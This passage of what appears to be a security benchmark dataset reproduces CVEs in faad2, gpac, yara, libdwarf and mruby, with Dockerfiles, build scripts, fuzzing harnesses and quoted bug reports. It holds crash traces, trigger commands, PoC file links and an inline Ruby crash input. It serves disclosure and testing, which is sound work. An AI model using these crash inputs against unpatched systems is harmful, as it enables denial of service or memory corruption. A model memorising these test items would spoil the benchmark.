"url": "https://github.com/LibreDWG/libredwg/commit/07470ca096ff1587fe3b9a57b8366cfcc043d131"
},
{
"sha": "e685e689d05d4b7da9a61e9d0868a65db4f82469",
"url": "https://github.com/LibreDWG/libredwg/commit/e685e689d05d4b7da9a61e9d0868a65db4f82469"
},
{
"sha": "97cc629fbea0d8d81b33ce382214578f3379de09",
"url": "https://github.com/LibreDWG/libredwg/commit/97cc629fbea0d8d81b33ce382214578f3379de09"
},
{
"sha": "5650507fb5065c329984f19ce040fd83bd1a5298",
"url": "https://github.com/LibreDWG/libredwg/commit/5650507fb5065c329984f19ce040fd83bd1a5298"
},
{
"sha": "14a3ffe26d4bcd267c42471caebaf21185c16a4c",
"url": "https://github.com/LibreDWG/libredwg/commit/14a3ffe26d4bcd267c42471caebaf21185c16a4c"
},
{
"sha": "d7bdfbc83211fb8732ab12382f2c3bfab51e3480",
"url": "https://github.com/LibreDWG/libredwg/commit/d7bdfbc83211fb8732ab12382f2c3bfab51e3480"
},
{
"sha": "107b5e47f3de5d333405e0a201f495a4a905e96b",
"url": "https://github.com/LibreDWG/libredwg/commit/107b5e47f3de5d333405e0a201f495a4a905e96b"
},
{
"sha": "f6db9268d2d3ad568b6d3ba432ca2b5f2b3804a9",
"url": "https://github.com/LibreDWG/libredwg/commit/f6db9268d2d3ad568b6d3ba432ca2b5f2b3804a9"
},
{
"sha": "c0bbb7388465800f01683fa90d434026c852f06c",
"url": "https://github.com/LibreDWG/libredwg/commit/c0bbb7388465800f01683fa90d434026c852f06c"
},
{
"sha": "ea93bca48a63ddf70f7df017f2c21f38469a83af",
"url": "https://github.com/LibreDWG/libredwg/commit/ea93bca48a63ddf70f7df017f2c21f38469a83af"
},
{
"sha": "817e586f2bbce42cf9e75e118c1c7feae941669b",
"url": "https://github.com/LibreDWG/libredwg/commit/817e586f2bbce42cf9e75e118c1c7feae941669b"
},
{
"sha": "41ff7afc44babae1236c3587024ee84b57006990",
"url": "https://github.com/LibreDWG/libredwg/commit/41ff7afc44babae1236c3587024ee84b57006990"
},
{
"sha": "55295f939b6a8cfd7a25c40ea780d8c83e67b0db",
"url": "https://github.com/LibreDWG/libredwg/commit/55295f939b6a8cfd7a25c40ea780d8c83e67b0db"
},
{
"sha": "5064790b1bf390807bfa727139e40a3afd85183e",
"url": "https://github.com/LibreDWG/libredwg/commit/5064790b1bf390807bfa727139e40a3afd85183e"
},
{
"sha": "d6f8f351c34c4ad2b9e300a8b0718439467bd55a",
"url": "https://github.com/LibreDWG/libredwg/commit/d6f8f351c34c4ad2b9e300a8b0718439467bd55a"
},
{
"sha": "ba6aa54df0c78bc930b4ec71f72767f1a011d96e",
"url": "https://github.com/LibreDWG/libredwg/commit/ba6aa54df0c78bc930b4ec71f72767f1a011d96e"
},
{
"sha": "b7369a17445f8831582af3708a5e84362b0db536",
"url": "https://github.com/LibreDWG/libredwg/commit/b7369a17445f8831582af3708a5e84362b0db536"
}
] |
faad2.cve-2018-20198
|
knik0/faad2
|
334e7647a5f31903aca33dde39bb8683e9d8cccd
| 2017-12-17T13:54:42
|
faad2
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool
RUN git clone https://github.com/knik0/faad2 faad2
RUN git -C faad2 checkout 334e7647a5f31903aca33dde39bb8683e9d8cccd
WORKDIR $SRC/faad2
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./bootstrap
./configure
make -j$(nproc)
|
/src/faad2
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/knik0/faad2/issues/23
## Description:
Issue: knik0/faad2#23
Title: Null pointer dereference vulnerability in ifilter_bank(libfaad/filtbank.c:246)
State: closed
Created by: fantasy7082
Created at: 2018-12-17 06:17:36+00:00
Issue Body:
Hi, i found a null pointer dereference bug in Freeware Advanced Audio Decoder 2 (FAAD2) 2.8.8. It crashed in function ifilter_bank.the details are below(ASAN):
```
./faad faad_res/002-null-point-filtbank_246 -o out.wav
*********** Ahead Software MPEG-4 AAC Decoder V2.8.8 ******************
Build: Dec 13 2018
Copyright 2002-2004: Ahead Software AG
http://www.audiocoding.com
bug tracking: https://sourceforge.net/p/faac/bugs/
Floating point version
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License.
**************************************************************************
faad_res/002-null-point-filtbank_246 file info:
ADTS, 0.043 sec, 37 kbps, 48000 Hz
---------------------
| Config: 3 Ch |
---------------------
| Ch | Position |
---------------------
| 00 | Left front |
| 01 | Right front |
| 02 | Unknown |
---------------------
ASAN:SIGSEGV faad_res/002-null-point-filtbank_246.
=================================================================
==7062==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7fe67b9599f6 bp 0x7fff60c60600 sp 0x7fff60c5e510 T0)
#0 0x7fe67b9599f5 in ifilter_bank /root/faad2_asan/libfaad/filtbank.c:246
#1 0x7fe67b99519d in reconstruct_channel_pair /root/faad2_asan/libfaad/specrec.c:1258
#2 0x7fe67b99b823 in channel_pair_element /root/faad2_asan/libfaad/syntax.c:759
#3 0x7fe67b999cbf in decode_cpe /root/faad2_asan/libfaad/syntax.c:402
#4 0x7fe67b99a398 in raw_data_block /root/faad2_asan/libfaad/syntax.c:448
#5 0x7fe67b9549c3 in aac_frame_decode /root/faad2_asan/libfaad/decoder.c:990
#6 0x7fe67b954566 in NeAACDecDecode /root/faad2_asan/libfaad/decoder.c:821
#7 0x40f8ae in decodeAACfile /root/faad2_asan/frontend/main.c:679
#8 0x411dd4 in faad_main /root/faad2_asan/frontend/main.c:1323
#9 0x411fe5 in main /root/faad2_asan/frontend/main.c:1366
#10 0x7fe67b58c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#11 0x401aa8 in _start (/usr/local/faad-asan/bin/faad+0x401aa8)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/faad2_asan/libfaad/filtbank.c:246 ifilter_bank
==7062==ABORTING
```
POC FILE:https://github.com/fantasy7082/image_test/blob/master/002-null-point-filtbank_246
Comments:
Comment by hlef on 2019-05-05 10:25:46+00:00:
This issue has been assigned CVE-2018-20198.
Same underlying issue as #26.
@fabiangreffrath : fixed by 466b01d504d7e45f1e9169ac90b3e34ab94aed14.
---
Comment by fabiangreffrath on 2019-05-06 12:40:05+00:00:
Closing, thanks!
Commit References:
466b01d504d7e45f1e9169ac90b3e34ab94aed14
|
[] |
[
{
"sha": "466b01d504d7e45f1e9169ac90b3e34ab94aed14",
"url": "https://github.com/knik0/faad2/commit/466b01d504d7e45f1e9169ac90b3e34ab94aed14"
},
{
"sha": "6b4a7cde30f2e2cb03e78ef476cc73179cfffda3",
"url": "https://github.com/knik0/faad2/commit/6b4a7cde30f2e2cb03e78ef476cc73179cfffda3"
},
{
"sha": "1f1cea70f8fbd3502675ba375a20d531e92fe9be",
"url": "https://github.com/hlef/faad2/commit/1f1cea70f8fbd3502675ba375a20d531e92fe9be"
}
] |
gpac.cve-2023-48014
|
gpac/gpac
|
cd8a95c1efb8f5bfc950b86c2ef77b4c76f6b893
| 2023-10-12T09:17:31
|
gpac
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y build-essential pkg-config libz-dev
RUN git clone https://github.com/gpac/gpac gpac
RUN git -C gpac checkout cd8a95c1efb8f5bfc950b86c2ef77b4c76f6b893
WORKDIR $SRC/gpac
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./configure --static-build --extra-cflags="${CFLAGS}" --extra-ldflags="${CFLAGS}"
make -j$(nproc)
|
/src/gpac
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/gpac/gpac/issues/2613
## Description:
Issue: gpac/gpac#2613
Title: stack-buffer-overflow in /gpac/src/media_tools/av_parsers.c:7735:42 in hevc_parse_vps_extension
State: closed
Created by: gandalf4a
Created at: 2023-10-08 16:15:17+00:00
Issue Body:
# Version
```
$ ./MP4Box -version
MP4Box - GPAC version 2.3-DEV-rev566-g50c2ab06f-master
```
# Platform
```
$ uname -a
Linux user-GE40-2PC-Dragon-Eyes 6.2.0-33-generic #33~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 7 10:33:52 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
```
# Asan
```
/home/user/vul/MP4Box_crash/id000085sig06src003627time38285673execs366724ophavocrep8
[31m[HEVC] Error parsing NAL unit type 2
[0m=================================================================
==833362==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffdcf3828d0 at pc 0x7f6e8e6ab0c1 bp 0x7ffdcf382870 sp 0x7ffdcf382868
WRITE of size 1 at 0x7ffdcf3828d0 thread T0
#0 0x7f6e8e6ab0c0 in hevc_parse_vps_extension /home/user/fuzzing_gpac/gpac/src/media_tools/av_parsers.c:7735:42
#1 0x7f6e8e66492e in gf_hevc_read_vps_bs_internal /home/user/fuzzing_gpac/gpac/src/media_tools/av_parsers.c:8095:9
#2 0x7f6e8e66b0e5 in gf_hevc_parse_nalu_bs /home/user/fuzzing_gpac/gpac/src/media_tools/av_parsers.c:8756:30
#3 0x7f6e8f25c2ca in naludmx_check_dur /home/user/fuzzing_gpac/gpac/src/filters/reframe_nalu.c:576:10
#4 0x7f6e8f264622 in naludmx_check_pid /home/user/fuzzing_gpac/gpac/src/filters/reframe_nalu.c:1826:3
#5 0x7f6e8f252dc5 in naludmx_process /home/user/fuzzing_gpac/gpac/src/filters/reframe_nalu.c:3370:4
#6 0x7f6e8edafa33 in gf_filter_process_task /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:2971:7
#7 0x7f6e8ed7d47b in gf_fs_thread_proc /home/user/fuzzing_gpac/gpac/src/filter_core/filter_session.c:2105:3
#8 0x7f6e8ed7b5cf in gf_fs_run /home/user/fuzzing_gpac/gpac/src/filter_core/filter_session.c:2405:3
#9 0x7f6e8e62ac6a in gf_dasher_process /home/user/fuzzing_gpac/gpac/src/media_tools/dash_segmenter.c:1236:6
#10 0x5572d97a66dc in do_dash /home/user/fuzzing_gpac/gpac/applications/mp4box/mp4box.c:4831:15
#11 0x5572d9797b6e in mp4box_main /home/user/fuzzing_gpac/gpac/applications/mp4box/mp4box.c:6245:7
#12 0x7f6e8d629d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#13 0x7f6e8d629e3f in __libc_start_main csu/../csu/libc-start.c:392:3
#14 0x5572d96bfdd4 in _start (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x82dd4) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9)
Address 0x7ffdcf3828d0 is located in stack of thread T0 at offset 80 in frame
#0 0x7f6e8e6a4abf in hevc_parse_vps_extension /home/user/fuzzing_gpac/gpac/src/media_tools/av_parsers.c:7690
This frame has 12 object(s):
[32, 48) 'dimension_id_len' (line 7693)
[64, 80) 'dim_bit_offset' (line 7693) <== Memory access at offset 80 overflows this variable
[96, 100) 'layer_set_idx_for_ols_minus1' (line 7695)
[112, 117) 'nb_output_layers_in_output_layer_set' (line 7696)
[144, 149) 'ols_highest_output_layer_id' (line 7697)
[176, 240) 'num_direct_ref_layers' (line 7700)
[272, 336) 'num_pred_layers' (line 7700)
[368, 372) 'num_layers_in_tree_partition' (line 7700)
[384, 400) 'dependency_flag' (line 7701)
[416, 672) 'id_pred_layers' (line 7701)
[736, 800) 'layer_id_in_list_flag' (line 7706)
[832, 896) 'OutputLayerFlag' (line 7707)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /home/user/fuzzing_gpac/gpac/src/media_tools/av_parsers.c:7735:42 in hevc_parse_vps_extension
Shadow bytes around the buggy address:
0x100039e684c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100039e684d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100039e684e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100039e684f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100039e68500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x100039e68510: f1 f1 f1 f1 00 00 f2 f2 00 00[f2]f2 04 f2 05 f2
0x100039e68520: f2 f2 05 f2 f2 f2 00 00 00 00 00 00 00 00 f2 f2
0x100039e68530: f2 f2 00 00 00 00 00 00 00 00 f2 f2 f2 f2 04 f2
0x100039e68540: 00 00 f2 f2 00 00 00 00 00 00 00 00 00 00 00 00
0x100039e68550: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100039e68560: 00 00 00 00 f2 f2 f2 f2 f2 f2 f2 f2 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==833362==ABORTING
```
# Reproduce
```
./MP4Box -dash 10000 poc
```
# POC File
https://github.com/gandalf4a/crash_report/blob/main/gpac/MP4Box/sbo_7735
# Credit
```
Gandalf4a
```
Commit References:
53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9
|
[] |
[
{
"sha": "66abf0887c89c29a484d9e65e70882794e9e3a1b",
"url": "https://github.com/1480c1/gpac/commit/66abf0887c89c29a484d9e65e70882794e9e3a1b"
},
{
"sha": "53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9",
"url": "https://github.com/gpac/gpac/commit/53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9"
}
] |
yara.cve-2016-10211
|
virustotal/yara
|
eb491e03851a11bc811173f5e13c89cefa7257ac
| 2017-01-04T09:18:03
|
yara
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y automake autoconf make libtool pkg-config bison flex
RUN git clone https://github.com/virustotal/yara yara
RUN git -C yara checkout eb491e03851a11bc811173f5e13c89cefa7257ac
WORKDIR $SRC/yara
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./bootstrap.sh
./configure --enable-macho --enable-debug --enable-dex --enable-dotnet --without-crypto
make clean -j$(nproc)
make -j$(nproc) all
make install -j$(nproc)
|
/src/yara
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/VirusTotal/yara/issues/575
## Description:
Issue: VirusTotal/yara#575
Title: Use After Free in yr_parser_lookup_loop_variable()
State: closed
Created by: fumfel
Created at: 2016-12-06 09:15:26+00:00
Issue Body:
**Use After Free in yr_parser_lookup_loop_variable()**
Tested on latest Git HEAD: 779b9a77aa4377152a5cba031255029afb0c19a5
[Payload](https://github.com/VirusTotal/yara/files/633374/yara_uaf.txt)
To reproduce: `yara yara_uaf.yar strings`
ASAN output:
```
==17551==ERROR: AddressSanitizer: heap-use-after-free on address 0x60200000ed50 at pc 0x000000425ff6 bp 0x7fff57ebe190 sp 0x7fff57ebd920
READ of size 1 at 0x60200000ed50 thread T0
#0 0x425ff5 in __interceptor_strcmp /home/development/llvm/3.9.0/final/llvm.src/projects/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:284:3
#1 0x5a85cf in yr_parser_lookup_loop_variable XYZ/yara/libyara/parser.c:282:9
#2 0x57536e in yara_yyparse XYZ/yara/libyara/grammar.y:569:25
#3 0x50c3d0 in yr_lex_parse_rules_file XYZ/yara/libyara/lexer.l:815:3
#4 0x4f097e in yr_compiler_add_file XYZ/yara/libyara/compiler.c:357:12
#5 0x4ee0c4 in main XYZ/yara/yara.c:1124:17
#6 0x7fe78bf2982f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#7 0x41a408 in _start (/usr/local/bin/yara+0x41a408)
0x60200000ed50 is located 0 bytes inside of 2-byte region [0x60200000ed50,0x60200000ed52)
freed by thread T0 here:
#0 0x4b88cb in __interceptor_free /home/development/llvm/3.9.0/final/llvm.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:47:3
#1 0x580ac8 in yydestruct XYZ/yara/libyara/grammar.y:202:9
#2 0x50c3d0 in yr_lex_parse_rules_file XYZ/yara/libyara/lexer.l:815:3
previously allocated by thread T0 here:
#0 0x4a59f6 in __strdup /home/development/llvm/3.9.0/final/llvm.src/projects/compiler-rt/lib/asan/asan_interceptors.cc:578:3
#1 0x4ff501 in yara_yylex XYZ/yara/libyara/lexer.l:438:22
#2 0x573528 in yara_yyparse XYZ/yara/libyara/grammar.c:1573:16
#3 0x50c3d0 in yr_lex_parse_rules_file XYZ/yara/libyara/lexer.l:815:3
SUMMARY: AddressSanitizer: heap-use-after-free /home/development/llvm/3.9.0/final/llvm.src/projects/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:284:3 in __interceptor_strcmp
Shadow bytes around the buggy address:
0x0c047fff9d50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9d60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9d70: fa fa fa fa fa fa fa fa fa fa 02 fa fa fa 00 fa
0x0c047fff9d80: fa fa 01 fa fa fa 00 00 fa fa 00 00 fa fa 00 00
0x0c047fff9d90: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 02 fa
=>0x0c047fff9da0: fa fa 00 00 fa fa fd fa fa fa[fd]fa fa fa fd fa
0x0c047fff9db0: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00
0x0c047fff9dc0: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa fd fd
0x0c047fff9dd0: fa fa fd fa fa fa 00 fa fa fa 01 fa fa fa 00 00
0x0c047fff9de0: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00
0x0c047fff9df0: fa fa 00 00 fa fa fd fa fa fa 00 fa fa fa 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==17551==ABORTING
```
Comments:
Comment by plusvic on 2017-01-04 16:12:30+00:00:
Fixed in 890c3f850293176c0e996a602ffa88b315f4e98f
---
Comment by fgeek on 2017-04-04 05:19:12+00:00:
CVE-2016-10211 has been assigned for this issue.
Attachments:
https://github.com/VirusTotal/yara/files/633374/yara_uaf.txt
Commit References:
779b9a77aa4377152a5cba031255029afb0c19a5
890c3f850293176c0e996a602ffa88b315f4e98f
|
[] |
[
{
"sha": "890c3f850293176c0e996a602ffa88b315f4e98f",
"url": "https://github.com/virustotal/yara/commit/890c3f850293176c0e996a602ffa88b315f4e98f"
},
{
"sha": "779b9a77aa4377152a5cba031255029afb0c19a5",
"url": "https://github.com/virustotal/yara/commit/779b9a77aa4377152a5cba031255029afb0c19a5"
},
{
"sha": "3fc60e8b46cb0a0bbab433fd4c72c1ae2658f475",
"url": "https://github.com/hillu/yara/commit/3fc60e8b46cb0a0bbab433fd4c72c1ae2658f475"
},
{
"sha": "cf70f93e3c4f21742509c98f0a47128b6773e084",
"url": "https://github.com/hillu/yara/commit/cf70f93e3c4f21742509c98f0a47128b6773e084"
},
{
"sha": "708e52b4d460071fc1a857e8852c649fa0de291f",
"url": "https://github.com/CaldurG/yara/commit/708e52b4d460071fc1a857e8852c649fa0de291f"
},
{
"sha": "5b5d49a74322514dac9752e03df0a91669c60568",
"url": "https://github.com/CaldurG/yara/commit/5b5d49a74322514dac9752e03df0a91669c60568"
}
] |
libdwarf.cve-2022-32200
|
davea42/libdwarf-code
|
8e202226e604864b792ade45de8595c8944c0269
| 2022-05-29T10:55:43
|
libdwarf-code
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool
RUN git clone https://github.com/davea42/libdwarf-code libdwarf-code
RUN git -C libdwarf-code checkout 8e202226e604864b792ade45de8595c8944c0269
WORKDIR $SRC/libdwarf-code
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
export CFLAGS="${CFLAGS} -g -Werror"
export CXXFLAGS="${CXXFLAGS} -g -Werror"
mkdir -p build
cd build
cmake ../
make -j$(nproc)
mkdir -p $SRC/corp
|
/src/libdwarf-code
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/davea42/libdwarf-code/issues/116
## Description:
Issue: davea42/libdwarf-code#116
Title: heap overflow in _dwarf_check_string_valid in dwarf_util.c
State: closed
Created by: sleicasper
Created at: 2022-05-26 10:00:03+00:00
Issue Body:
There is a heap overflow in _dwarf_check_string_valid in dwarf_util.c. Depending on the usage of this library, this may cause code execution or deny of service.
reproduce steps:
1. compile libdwarf with address sanitizer
2. run dwarfdump with poc file
```
dwarfdump -vv -a ./poc
```
poc:
[poc.zip](https://github.com/davea42/libdwarf-code/files/8778140/poc.zip)
Address sanitizer output:
```
=================================================================
==1464907==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6060000015bb at pc 0x00000083fa88 bp 0x7fff18213420 sp 0x7fff18213418
READ of size 1 at 0x6060000015bb thread T0
#0 0x83fa87 in _dwarf_check_string_valid /home/casper/targets/struct/libdwarf/aflasan/SRC/src/lib/libdwarf/dwarf_util.c:938:13
#1 0x70192c in _dwarf_internal_get_pubnames_like_data /home/casper/targets/struct/libdwarf/aflasan/SRC/src/lib/libdwarf/dwarf_global.c:560:19
#2 0x7e43be in dwarf_get_pubtypes /home/casper/targets/struct/libdwarf/aflasan/SRC/src/lib/libdwarf/dwarf_pubtypes.c:63:11
#3 0x637fa0 in print_types /home/casper/targets/struct/libdwarf/aflasan/SRC/src/bin/dwarfdump/print_types.c:90:13
#4 0x519257 in process_one_file /home/casper/targets/struct/libdwarf/aflasan/SRC/src/bin/dwarfdump/dwarfdump.c:1242:16
#5 0x512ac7 in main /home/casper/targets/struct/libdwarf/aflasan/SRC/src/bin/dwarfdump/dwarfdump.c:503:9
#6 0x7f1199de00b2 in __libc_start_main /build/glibc-sMfBJT/glibc-2.31/csu/../csu/libc-start.c:308:16
#7 0x42848d in _start (/home/casper/targets/struct/libdwarf/aflasan/fuzzrun/dwarfdump+0x42848d)
0x6060000015bb is located 0 bytes to the right of 59-byte region [0x606000001580,0x6060000015bb)
allocated by thread T0 here:
#0 0x4cd59f in malloc /home/casper/fuzz/fuzzdeps/llvm-project-11.0.0/compiler-rt/lib/asan/asan_malloc_linux.cpp:145:3
#1 0x870cd5 in elf_load_nolibelf_section /home/casper/targets/struct/libdwarf/aflasan/SRC/src/lib/libdwarf/dwarf_elfread.c:229:26
#2 0x4969e5 in vprintf /home/casper/fuzz/fuzzdeps/llvm-project-11.0.0/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:1641:1
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/casper/targets/struct/libdwarf/aflasan/SRC/src/lib/libdwarf/dwarf_util.c:938:13 in _dwarf_check_string_valid
Shadow bytes around the buggy address:
0x0c0c7fff8260: fd fd fd fa fa fa fa fa fd fd fd fd fd fd fd fa
0x0c0c7fff8270: fa fa fa fa fd fd fd fd fd fd fd fa fa fa fa fa
0x0c0c7fff8280: 00 00 00 00 00 00 00 00 fa fa fa fa 00 00 00 00
0x0c0c7fff8290: 00 00 00 00 fa fa fa fa 00 00 00 00 00 00 00 00
0x0c0c7fff82a0: fa fa fa fa 00 00 00 00 00 00 00 00 fa fa fa fa
=>0x0c0c7fff82b0: 00 00 00 00 00 00 00[03]fa fa fa fa fa fa fa fa
0x0c0c7fff82c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff82d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff82e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff82f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff8300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
```
Comments:
Comment by davea42 on 2022-05-29 17:00:35+00:00:
Thank you for the report and test case. I assigned this libdwarf vulnerability as
DW202205-001 and have pushed the fix .
View the vulnerability on [www.prevanders.net/dwarfbug.html](url)
Attachments:
https://github.com/davea42/libdwarf-code/files/8778140/poc.zip
|
[
{
"content": "/* Copyright 2021 Google LLC\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n http://www.apache.org/licenses/LICENSE-2.0\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <sys/types.h>\n#include <sys/stat.h>\n#include <fcntl.h>\n#include <unistd.h>\n\n/*\n * Libdwarf library callers can only use these headers.\n */\n#include \"dwarf.h\"\n#include \"libdwarf.h\"\n\n/*\n * A fuzzer that simulates a small part of the simplereader.c example.\n * This fuzzer targets dwarf_init_b.\n */\nint LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {\n char filename[256];\n sprintf(filename, \"/tmp/libfuzzer.%d\", getpid());\n\n FILE *fp = fopen(filename, \"wb\");\n if (!fp) {\n return 0;\n }\n fwrite(data, size, 1, fp);\n fclose(fp);\n\n int my_init_fd = 0;\n Dwarf_Ptr errarg = 0;\n Dwarf_Handler errhand = 0;\n Dwarf_Error *errp = NULL;\n Dwarf_Debug dbg = 0;\n\n my_init_fd = open(filename, O_RDONLY);\n if (my_init_fd != -1) {\n dwarf_init_b(my_init_fd,DW_GROUPNUMBER_ANY,errhand,errarg,&dbg,errp);\n dwarf_finish(dbg);\n close(my_init_fd);\n }\n\n unlink(filename);\n return 0;\n}\n",
"filename": "fuzz_init_binary.c"
},
{
"content": "/* Copyright 2021 Google LLC\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n http://www.apache.org/licenses/LICENSE-2.0\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <sys/types.h>\n#include <unistd.h>\n\n/*\n * Libdwarf library callers can only use these headers.\n */\n#include \"dwarf.h\"\n#include \"libdwarf.h\"\n\n/*\n * A fuzzer that simulates a small part of the simplereader.c example.\n */\nint LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {\n char filename[256];\n sprintf(filename, \"/tmp/libfuzzer.%d\", getpid());\n\n FILE *fp = fopen(filename, \"wb\");\n if (!fp) {\n return 0;\n }\n fwrite(data, size, 1, fp);\n fclose(fp);\n Dwarf_Ptr errarg = 0;\n Dwarf_Handler errhand = 0;\n Dwarf_Debug dbg = 0;\n Dwarf_Error *errp = NULL;\n#define MACHO_PATH_LEN 2000\n char macho_real_path[2000];\n dwarf_init_path(filename, macho_real_path, MACHO_PATH_LEN,\n DW_GROUPNUMBER_ANY, errhand, errarg, &dbg, errp);\n\n dwarf_finish(dbg);\n\n unlink(filename);\n return 0;\n}\n",
"filename": "fuzz_init_path.c"
}
] |
[
{
"sha": "8151575a6ace77d005ca5bb5d71c1bfdba3f7069",
"url": "https://github.com/davea42/libdwarf-code/commit/8151575a6ace77d005ca5bb5d71c1bfdba3f7069"
}
] |
mruby.cve-2022-1427
|
mruby/mruby
|
bdc244e9b035c608e3aeb1cb3440c47c2a5d61e6
| 2022-04-21T00:47:15
|
mruby
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y build-essential ruby bison ninja-build cmake zlib1g-dev libbz2-dev liblzma-dev
RUN git clone https://github.com/mruby/mruby mruby
RUN git -C mruby checkout bdc244e9b035c608e3aeb1cb3440c47c2a5d61e6
WORKDIR $SRC/mruby
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
cd $SRC/mruby
export LD=$CC
export LDFLAGS="$CFLAGS"
rake -m
|
/src/mruby
|
address
|
================= Bug Report (1/1) ==================
## Source: Huntr
## URL: https://huntr.dev/bounties/23b6f0a9-64f5-421e-a55f-b5b7a671f301
## Description:
Out-of-bounds Read in mrb_obj_is_kind_of in mruby/mruby
Affected commit
791635a8d1ad9aad98aae0a36a91e092e4d71944
Proof of Concept
Math.initialize() do $4
prepend dup
4.instance_exec(){|| super() }
end
